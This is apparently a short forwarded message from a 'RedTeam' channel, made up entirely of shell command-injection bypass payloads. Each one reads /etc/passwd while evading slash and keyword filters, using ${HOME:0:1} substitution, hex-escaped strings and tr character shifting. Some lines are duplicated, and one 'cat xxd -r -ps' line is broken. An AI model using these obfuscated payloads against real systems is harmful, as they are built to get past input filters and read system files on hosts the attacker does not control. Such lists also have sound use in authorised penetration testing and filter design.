Forward from: RedTeam
cat ${HOME:0:1}etc${HOME:0:1}passwd
echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
cat xxd -r -ps
echo $'cat\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64'
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
cat xxd -r -ps